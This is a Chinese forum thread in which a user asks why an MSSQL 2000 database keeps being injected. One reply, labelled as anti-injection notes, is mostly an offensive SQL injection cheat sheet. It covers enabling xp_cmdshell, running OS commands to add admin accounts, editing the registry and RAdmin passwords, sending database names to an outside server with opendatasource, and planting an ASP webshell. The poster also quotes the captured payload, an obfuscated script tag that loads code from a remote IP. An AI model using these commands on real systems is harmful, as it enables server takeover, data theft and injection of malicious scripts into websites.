数据库MSSQL2000,最近数据库每到晚上18点到21点30之间就被注入,IIS日志和系统应用程序日志中找不到任何的痕迹(以前被注入的时候很容易在这两个日志中找到注入口,这次找那时间段的日志,一点痕迹都没),sa用户删除,去掉了数据库角色public对sysobjects与syscolumns对象的select访问权限,还是能被注入。 数据库中有多个varchar(4000)的字段,注入的时候它只挑一个字段注入。现在所有的招都用上了,纠结的没办法了,由于连接这个数据库的项目有多个,慢慢从程序上排查貌似太麻烦,各位大虾出点主意,还有啥方法找到那注入口的。(-|||-)
 

解决方案 »

  1.   

    防注入整理:
    //看看是什么权限的
    and 1=(Select IS_MEMBER('db_owner'))
    And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--//检测是否有读取某数据库的权限
    and 1= (Select HAS_DBACCESS('master'))
    And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
    数字类型
    and char(124)%2Buser%2Bchar(124)=0字符类型
    ' and char(124)%2Buser%2Bchar(124)=0 and ''='搜索类型
    ' and char(124)%2Buser%2Bchar(124)=0 and '%'='爆用户名
     and user>0
    ' and user>0 and ''='检测是否为SA权限
    and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
    And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --检测是不是MSSQL数据库
    and exists (select * from sysobjects);-- 检测是否支持多行
    ;declare @d int;-- 恢复 xp_cmdshell
    ;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
    select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') //-----------------------
    //      执行命令
    //-----------------------
    首先开启沙盘模式:
    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1然后利用jet.oledb执行系统命令
    select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')执行命令
    ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'判断xp_cmdshell扩展存储过程是否存在:
    http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')写注册表
    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1REG_SZ读注册表
    exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'读取目录内容
    exec master..xp_dirtree 'c:\winnt\system32\',1,1
    数据库备份
    backup database pubs to disk = 'c:\123.bak'//爆出长度
    And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--更改sa口令方法:用sql综合利用工具连接后,执行命令:
    exec sp_password NULL,'新密码','sa'添加和删除一个SA权限的用户test:
    exec master.dbo.sp_addlogin test,ptlove
    exec master.dbo.sp_addsrvrolemember test,sysadmin删除扩展存储过过程xp_cmdshell的语句: 
    exec sp_dropextendedproc 'xp_cmdshell'添加扩展存储过过程
    EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 
    GRANT exec On xp_proxiedadata TO public 
    停掉或激活某个服务。 exec master..xp_servicecontrol 'stop','schedule'
    exec master..xp_servicecontrol 'start','schedule'dbo.xp_subdirs只列某个目录下的子目录。
    xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'dbo.xp_makecab将目标多个档案压缩到某个目标档案之内。
    所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。dbo.xp_makecab
    'c:\test.cab','mszip',1,
    'C:\Inetpub\wwwroot\SQLInject\login.asp',
    'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'xp_terminate_process停掉某个执行中的程序,但赋予的参数是 Process ID。
    利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process IDxp_terminate_process 2484xp_unpackcab解开压缩档。xp_unpackcab 'c:\test.cab','c:\temp',1
    某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234create database lcx;
    Create TABLE ku(name nvarchar(256) null);
    Create TABLE biao(id int NULL,name nvarchar(256) null);//得到数据库名
    insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
    //在Master中创建表,看看权限怎样
    Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--用 sp_makewebtask直接在web目录里写入一句话马:
    http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--//更新表内容
    Update films SET kind = 'Dramatic' Where id = 123//删除内容
    delete from table_name where Stockid = 3
      

  2.   

    谢谢3楼发这么多,不过貌似对我没怎么用,
    这个程序已经存在好几年了,参数基本已经不存在漏洞,.net程序都已经用SqlParameter传参数,使用存储过程(有些简单的没用存储过程,但是有参数的都判断过,如果参数有漏洞,注入的时候注入口应该比较很好找的吧?)
    发下那段注入的东西 :<imG width=0 height=0 style="display:none" src='javascript:var sc=document.createElement("scri"+"pt");sc.src="http://2"+"20.112.40.8"+"3:60"+"000/ad"+"s_fei1.p"+"hp?RE"+"FERER=一同行业网站地址/";document.body.insertBefore(sc,document.body.firstChild);'>
      

  3.   

    可能有目的的注入。既然可以注入表示一定存在漏洞,如果可以的话,发个网址,帮你看看。mail to [email protected]